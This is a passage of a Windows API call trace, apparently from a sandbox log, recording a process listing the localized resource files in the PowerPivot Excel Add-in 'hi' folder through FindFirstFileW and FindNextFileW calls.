ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1785, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0268.533] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0268.533] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0268.533] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0268.533] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x216030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0268.534] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f4ff2d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0268.534] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0268.534] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x196cd32, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x196cd32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0268.534] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0268.534] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0268.534] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7bc5054, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7bc5054, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0268.534] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0268.534] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cfbc75, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cfbc75, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0268.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf447c679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x77068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0268.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0268.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f92917, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0268.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0268.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0268.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf24004e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0268.535] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0268.535] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0268.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0268.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0268.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0268.536] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi", lpFilePart=0x0) returned 0x51 [0268.536] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0268.536] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.536] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1785, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0268.536] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0268.536] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0268.537] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0268.537] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41cdbc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x216030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0268.537] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f4ff2d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0268.537] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0268.537] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x196cd32, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x196cd32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0268.537] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1de43d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4e050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0268.538] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4c15e5f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4c3c0a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0268.538] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7bc5054, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7bc5054, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0268.538] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1e0a643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0268.538] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cfbc75, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cfbc75, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cfbc75, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0268.538] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf447c679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x77068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0268.538] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0268.539] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f92917, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0268.539] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bae279, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bae279, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0268.539] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x69980f7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0268.539] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf24004e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0268.539] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf24004e4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf24004e4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf2f2d53e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0268.539] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0268.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0268.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0268.540] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, 